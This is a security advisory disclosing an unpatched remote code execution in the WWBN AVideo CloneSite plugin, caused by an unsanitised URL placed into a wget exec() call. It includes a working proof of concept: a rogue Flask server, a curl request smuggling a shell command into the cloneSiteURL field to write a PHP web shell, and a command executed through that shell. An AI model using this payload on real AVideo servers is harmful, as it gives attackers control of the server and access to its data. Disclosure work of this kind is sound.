GHSA-xr6f-h4x7-r6qp WWBN AVideo: RCE cause by clonesite plugin

• Packagist wwbn/avideo: <= 29.0 (no fix yet)

Description Summary The `cloneServer.json.php` endpoint in the CloneSite plugin constructs shell commands using user-controlled input (`url` parameter) without proper sanitization. The input is directly concatenated into a `wget` command executed via `exec()`, allowing command injection. An attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., `;`). This leads to Remote Code Execution (RCE) on the server. Details Inside `plugin/CloneSite/cloneClient.json.php`(line112) didn't have proper sanitization ```php $objClone->cloneSiteURL = str_replace("'", '', escapeshellarg($objClone->cloneSiteURL)); ``` use `str_replace ` make `'` added by `escapeshellarg` become ` ` so hacker can inject evil `cloneSiteURL` to rce ```php $sqlURL = "{$objClone->cloneSiteURL}videos/clones/{$json->sqlFile}"; \\116 $cmd = "wget -O {$sqlFile} {$sqlURL}"; \\117 exec($cmd . " 2>&1", $output, $return_val); \\119 ``` The attack flow 1. make a evil site to provide date 2. add evil url in `objects/pluginAddDataObject.json.php` 3. access `plugin/CloneSite/cloneClient.json.php` to trigger rce Poc make a evil site use python like this ```python from flask import Flask, jsonify, request app = Flask(__name__) @app.route('/', defaults={'path': ''}) @app.route('/') def catch_all(path): print("PATH:", path) return jsonify({ "error": False, "msg": "", "url": "http://target-site.com/", "key": "target_clone_key", "useRsync": 0, "videosDir": "/var/www/html/AVideo/videos/", "sqlFile": "Clone_mysqlDump_evil123.sql", "videoFiles": [], "photoFiles": [] }) if __name__ == '__main__': app.run(host='0.0.0.0', port=8071) ``` change url with payload like (need admin) ```shell curl -b 'PHPSESSID=' -X POST "http://127.0.0.1/objects/pluginAddDataObject.json.php" \ -H "Content-Type: application/json" \ -d '{ "cloneSiteURL":"http://127.0.0.1:8071/;echo${IFS}\"\"${IFS}>1.php;/", "cloneSiteSSHIP":"127.0.0.1", "cloneSiteSSHUser":"1", "cloneSiteSSHPort":"22", "cloneSiteSSHPassword":{ "type":"encrypted", "value":"cU1SVkhSVkxqMmxDZlUrSFhNZnRvcFBtTmI3UXNGZ0VFVWxlLzdJL0pjWGFiVXgyb2Iyci9OOE5LN0p6TmN6Zg==" }, "useRsync":true, "MaintenanceMode":false, "myKey":"ba882541262f3202ee5a5ad790ae5b70" }' inject evil code curl "http://127.0.0.1/plugin/CloneSite/cloneClient.json.php" #trigger rce to write 1.php curl "http://127.0.0.1/plugin/CloneSite/1.php" -d '1=id' #uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` this payload is to create a web shell then access `plugin/CloneSite/cloneClient.json.php` `1.php`will be created impact • Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise. • Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host. Recommended Fix add more powerful sanitization for `$objClone->cloneSiteURL`